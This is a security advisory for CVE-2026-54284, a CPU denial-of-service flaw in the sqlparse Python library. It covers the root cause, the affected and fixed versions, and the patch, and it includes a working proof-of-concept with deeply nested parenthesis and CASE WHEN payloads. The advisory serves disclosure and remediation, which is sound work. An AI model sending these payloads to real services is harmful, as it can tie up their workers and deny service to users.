highCVE-2026-54284Aug 17, 2026

CVE-2026-54284: sqlparse TokenList O(n*depth) CPU Denial of Service

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A small SQL string with deeply nested parentheses or CASE WHEN blocks can pin a Python worker for 10+ seconds, because sqlparse rebuilds the entire token subtree from scratch on every grouping step…

Packagesqlparse
Ecosystempip
Affected<= 0.5.5
Fixed in0.6.0
CVE-2026-54284: sqlparse TokenList O(n*depth) CPU Denial of Service

The problem

Every time sqlparse groups tokens into a Parenthesis, Case, or IdentifierList node, its TokenList.__init__ calls str(self), which recursively flattens the full subtree beneath that node. For a tree of depth d containing n tokens, construction cost is O(n*d).

The existing depth and token caps (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) do eventually fire a SQLParseError, but only after the O(n*d) work has already been done. A 2 KB payload of 1,000 nested parentheses burns ~10 seconds of CPU and produces 42 million flatten() calls before the cap triggers.

Proof of concept

A working proof-of-concept for CVE-2026-54284 in sqlparse, with the exact payload below.

python
import sqlparse, time

# Vector 1: nested parentheses (~2 KB, ~10 s CPU on sqlparse <= 0.5.5)
n = 1000
sql = 'SELECT ' + '(' * n + '1' + ')' * n
t0 = time.perf_counter()
try:
    sqlparse.parse(sql)
except sqlparse.exceptions.SQLParseError:
    pass
print(f'{(time.perf_counter()-t0)*1000:.1f}ms for {len(sql)} B input')  # ~10 000 ms

# Vector 2: nested CASE WHEN (~14 KB, ~5 s CPU)
case = '1'
for i in range(400):
    case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
t0 = time.perf_counter()
try:
    sqlparse.parse(f'SELECT {case} FROM t')
except sqlparse.exceptions.SQLParseError:
    pass
print(f'{(time.perf_counter()-t0)*1000:.1f}ms')

The root cause is in sqlparse/sql.py inside TokenList.__init__: the line super().__init__(None, str(self)) calls __str__, which calls flatten() recursively across the entire subtree. Each new grouping node repeats this walk over all nodes below it, turning O(n) grouping into O(n*d) total work (CWE-407, CWE-1333).

The patch (commit 939b129) replaces str(self) with ''.join(token.value for token in self.tokens). Children's value fields are already cached from their own construction, so each node pays only O(len(self.tokens)) instead of O(subtree). A 1,000-level nested-paren input drops from ~10,000 ms to ~22 ms (509x speedup), with zero change to benign query timing.

The fix

Upgrade sqlparse to 0.6.0 or later. The fix is a one-line change in sqlparse/sql.py TokenList.__init__: replace super().__init__(None, str(self)) with super().__init__(None, ''.join(token.value for token in self.tokens)). No API or behaviour changes for callers.

Reported by tonghuaroot.

References: [1][2][3]

Related research